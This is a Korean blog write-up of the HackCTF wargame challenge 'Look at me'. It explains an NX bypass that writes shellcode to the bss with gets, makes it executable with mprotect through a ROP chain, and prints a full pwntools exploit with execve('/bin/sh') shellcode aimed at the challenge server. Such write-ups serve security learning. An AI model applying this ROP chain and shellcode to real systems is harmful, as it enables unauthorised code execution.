Look at me

2022. 4. 20. 23:09·Wargame/HackCTF
gdb-peda$ checksec
    CANARY    : disabled
    FORTIFY   : disabled
    NX        : ENABLED
    PIE       : disabled
    RELRO     : Partial

main 함수
look_at_me 함수

NX bit가 걸려있고 쉘 딸 수 있는 함수가 없다. 기존에 풀던 방식인 execve 함수나 system함수를 이용하는 게 아닌 mprotect 함수를 이용한다. 

 

mprotect 참고 자료 : https://hg2lee.tistory.com/entry/%EC%8B%9C%EC%8A%A4%ED%85%9C-mprotect-ROP

 

mprotect 함수가 강력한 이유는 NX bit 보호기법이 걸려있음에도 불구하고 bss 영역에 쉘코드를 저장해놓은 후, mprotect로 해당 주소를 접근해 실행 권한을 줄 수 있기 때문이다.

 

mprotect로 bss영역에 저장된 쉘코드를 실행시키려면 2가지 요소가 필요하다.

1. bss영역에 쉘코드를 저장할 수 있게 하는 동작 코드

2. 쉘코드를 저장한 bss 영역을 실행시킬 mprotect 함수를 위한 가젯

 

$ ROPgadget --binary ./lookatme  | grep "ret"
				...
	0x080509d5 : xor eax, eax ; pop ebx ; pop edi ; ret
        0x080681c0 : xor eax, eax ; pop edi ; ret

위 두 가젯을 각각 mprotect, gets 함수로 이용할 것이다.

 

Exploit Code

from pwn import *

p = remote('ctf.j0n9hyun.xyz', 3017)

e = ELF('./lookatme')

shellcode = '\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80'

gets = e.symbols['gets']
mprotect = e.symbols['mprotect']


bss = e.bss()
bss_start = 0x80ea000

pr = 0x080681c0
pppr = 0x080509d5


payload = 'A' * 28
payload += p32(gets)
payload += p32(pr)
payload += p32(bss)

payload += p32(mprotect)
payload += p32(pppr)
payload += p32(bss_start)
payload += p32(0x2000)
payload += p32(0x7)

payload += p32(bss)

p.sendline(payload)
p.sendline(shellcode)

p.interactive()

Point

 

1. 꼭 필요한 가젯들만 들어있지 않더라도 공격에 필요한 핵심 부분 "pop ebx ; pop edi ; ret"이 들어가있으므로 가젯으로 사용 가능하다.

2. x86 환경에서의 ROP는 x64와 달리 가젯을 사용할 때 인자를 순서대로 넣는다.

 

 

 

저작자표시 비영리 변경금지 (새창열림)
'Wargame/HackCTF' 카테고리의 다른 글
  • ROP
  • Gift
  • RTL_Core
  • Random_key
Cronus
Cronus
Offensive Security Researcher
  • Cronus
    Cronus
    Striving to be the best.
    • 분류 전체보기 (251)
      • AboutMe (1)
      • Portfolio (1)
        • Things (1)
      • Bug Report (1)
      • 🚩 CTF (23)
        • Former Doc (9)
        • 2023 (9)
      • 💻 Security (5)
      • 🖌️ Theory (22)
        • WEB (9)
        • PWN (13)
      • 📄 Project (6)
        • Edu_Siri (6)
      • Dreamhack (156)
        • WEB (95)
        • PWN (41)
        • Crypto (14)
        • ETC (6)
      • Wargame (22)
        • HackCTF (22)
      • Bug Bounty (1)
        • Hacking Zone (1)
      • Tips (7)
      • Development (2)
        • Machine Learning & Deep Lea.. (1)
      • Offensive Tools (1)
  • 블로그 메뉴

    • 홈
  • 링크

  • 공지사항

  • 인기 글

  • 태그

    bug hunter
    Crypto
    Ubuntu 기초
    Machine Learning
    Text Summarization
    cache poisoning
    Ubuntu 기초 셋팅
    Deep learning
    cache
    ubuntu 명령어
    TFCCTF2022
    pwntools
    GPNCTF
    Remote Code Execution
    TsukuCTF2022
    sqli
    bug report
    python
    justCTF
    RCE
  • 최근 댓글

  • 최근 글

Cronus
Look at me
상단으로

티스토리툴바